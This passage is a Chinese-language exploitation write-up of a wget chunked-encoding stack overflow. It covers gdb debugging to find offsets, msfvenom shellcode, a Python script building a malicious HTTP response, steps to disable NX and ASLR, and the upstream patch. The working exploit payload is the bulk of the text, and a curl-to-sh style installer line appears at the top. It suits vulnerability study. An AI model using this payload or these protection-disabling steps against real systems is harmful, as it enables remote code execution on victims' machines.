$ wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
# manually
$ wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit

0x52 gdb源码&调试符号编译

gdb源码调试工具为gdbtui or gdb -tui,可以在整个调试过程中显示源码。
使用gdb进行源码调试,需要在编译时候给g++添加-g参数,-O0参数为优化级别0,即不优化,configure设置如下:
$ CC=gcc CXX=g++ CFLAGS="-O0 -g" CXXFLAGS=$CFLAGS  ./configure
$ make

0x53 gdb调试

0x531 加载payload

  1. 通过nc将payload加载在6666端口
    $ nc -lp 6666 < payload
    
  2. 另开一个终端,通过gdb运行wget并加载payload
    $ gdb
    //加载wget程序
    gdb-peda$ exec-file ./src/wget
    //加载wget符号信息
    gdb-peda$ file ./src/wget
    //wget加载payload
    gdb-peda$ r localhost:6666
    

0x532 验证漏洞

  1. 问题出在strtol()上,故给其下断点:
    gdb-peda$ break strtol
    
  2. 加载payload后,自动断在strtol()入口,查看寄存器,RAX已经读入了-0xFFFFFD00
    RAX: 0x5555555fc9c0 ("-0xFFFFFD00\n")
    
  3. 执行finish返回到它的调用函数,此时RAX=0xffffffff00000300,与上节中计算的一致
    gdb-peda$ finish
    RAX: 0xffffffff00000300
    
  4. 执行n单步调试到达函数fd_read(),由于类型转换的原因其参数只取出了 0xffffffff00000300 的低 4 个字节 0x300,所以该函数将读入 rdx=0x300 个字节的数据到栈地址 rcx=0x7fffffffd2a0 中;另外由于rbp=0x7fffffffd4d0,RET返回地址=RIP= rbp+8= 0x7fffffffd4d8,那么RET偏移量为RIP-rcx=0x238=568:

0x532 定位栈地址

除了上节一步步调试,还有一个简单的方法用来定位栈地址:
  1. 修改payload
    将payload里负值-0xFFFFFD00之后的一长串A的开头8个字符改为ABCDabdc
  2. 检索payload
    gdb调试wget加载payload后,利用peda插件的searchmem搜索内存功能检索payload内容,得到stack栈地址为:0x7fffffffd2a0
    gdb-peda$ searchmem ABCDabdc
    Searching for 'ABCDabdc' in: None ranges
    Found 3 results, display max 3 items:
    [heap] : 0x5555555fc6f9 ("ABCDabdc", 'A' <repeats 366 times>)
    [heap] : 0x5555555fcd85 ("ABCDabdc", 'A' <repeats 760 times>, "Skipping -4294967296 bytes of body: [] aborting (EOF received).\n")
    [stack] : 0x7fffffffd2a0 ("ABCDabdc", 'A' <repeats 760 times>, "P\330\377\377\377\177")
    

0x6 漏洞利用

0x61 metasploit构造shellcode

直接利用metasploit的msfvenom工具来构造shellcode,msfvenom简单用法如下,直接生成一个弹/bin/bash的shellcode:
//列出所有可以使用的 Payload
$ msfvenom -l payloads
//列出所有可以使用的输出格式
$ msfvenom -l format
//构造可执行的shellcode,用于测试执行
$ msfvenom -p linux/x64/exec CMD=/bin/bash -f exe >> sh
//构造字符串形式的shellcode
$ msfvenom -p linux/x64/exec CMD=/bin/bash -f bash >> sh.txt
//如遇到部分不可用字符,可使用-b参数避免掉
$ msfvenom -p linux/x64/exec CMD=/bin/bash -b '\xe8\x0d\x0a' -f bash >> sh.txt
构造出来的shellcode如下,可执行版本执行成功:
export buf=\
$'\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'\
$'\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8'\
$'\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x00'\
$'\x56\x57\x48\x89\xe6\x0f\x05'

0x62 构造payload

前面动态分析已知:
栈地址=0x7fffffffd2a0
RET偏移量=0x238=568
故构造payload如下:
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFFD00
"""
shellcode='\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'\
shellcode +='\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8'\
shellcode +='\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x00'\
shellcode +='\x56\x57\x48\x89\xe6\x0f\x05'

payload += shellcode+(568-len(shellcode))*"A"
payload += "\xa0\xd2\xff\xff\xff\x7f\x00\x00"
payload += "\n0\n"

with open('payload','wb') as f:
    f.write(payload)

0x63 尝试攻击

执行一下指令加载payload,并没有如期弹出shell:
$ python shellcode.py
$ nc -lp 6666 < payload
//另开终端
$ ./src/wget localhost 6666
通过调试发现shellcode已经成功写入预定地址(有变动),也能控制程序执行到该地址,但执行失败:

通过gdb-pedachecksec工具检查程序,发现开启了NX和PIE保护措施,所以导致执行失败:
gdb-peda$  checksec
[+] checksec for './wget-1.19.1/src/wget'
Canary                        : No
NX                            : Yes
PIE                           : Yes
Fortify                       : No
RelRO                         : Partial

0x64 关闭保护

0x641 关闭NX

X即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
gcc编译器默认开启了NX选项,如果需要关闭NX选项,可以给gcc编译器添加-z execstack参数,如:
// 默认情况下,开启NX保护
$ gcc -o test test.c   
// 禁用NX保护  
$ gcc -z execstack -o test test.c  
// 开启NX保护
$ gcc -z noexecstack -o test test.c 
//针对本次程序
$ CC=gcc CXX=g++ CFLAGS="-O0 -g -z execstack" CXXFLAGS=$CFLAGS  ./configure
$ make
在Windows下,类似的概念为DEP(数据执行保护),新版的Visual Studio中默认开启了DEP编译选项。

0x642 关闭PIE

一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化PIE(Windows平台上称其为ASLR)会同时工作。
内存地址随机化机制(address space layout randomization),有以下三种情况:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加堆(heap)的随机化。
可以防范基于Ret2libc方式的针对DEP的攻击。ASLR和DEP配合使用,能有效阻止攻击者在堆栈上运行恶意代码。
Built as PIE:位置独立的可执行区域(position-independent executables)。这样使得在利用缓冲溢出和移动操作系统中存在的其他内存崩溃缺陷时采用面向返回的编程(return-oriented programming)方法变得难得多。
liunx下关闭PIE的命令如下:
$ sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
gcc编译参数:PIE:-no-pie / -pie (关闭 / 开启)
//针对本次程序
$ CC=gcc CXX=g++ CFLAGS="-O0 -g -z execstack -no-pie" CXXFLAGS=$CFLAGS  ./configure
$ make
关闭保护后即可攻击成功,保护绕过方式在后续进行。

0x7 修复补丁

修复补丁比较简单,就是对remaining_chunk_size是否为负值进行了判断:
diff --git a/src/http.c b/src/http.c
index 5536768..dc31823 100644
--- a/src/http.c
+++ b/src/http.c
@@ -973,6 +973,9 @@ skip_short_body (int fd, wgint contlen, bool chunked)
               remaining_chunk_size = strtol (line, &endl, 16);
               xfree (line);

+              if (remaining_chunk_size < 0)
+                return false;
+
               if (remaining_chunk_size == 0)
                 {
                   line = fd_read_line (fd);

0x8 🤔🤔🤔

该漏洞由于需要写入一定范围的负值以及特定长度的数据,故通过fuzz挖掘出来的可能性较低;更适合通过源码审计,检查读/写buf时长度的检查是否完备,尤其是对于负数的检查。
另外由于64位系统的普及,一些差异会导致在32位下安全的函数变得不再安全,如本次漏洞中的strtol()函数,在32位下long类型数据只有4字节,而在64位下long类型数据为8字节,从而产生了通过长负数来绕过buf检查的漏洞。

CVE/CNVD list

报告记录&poc: 最近fuzz出了不少crash,提交记录git: https://github.com/gandalf4a/crash_report 其中CVE记录如下: (不定期持续更新) 2025 CVE-2025-22134:heap-buffer-o...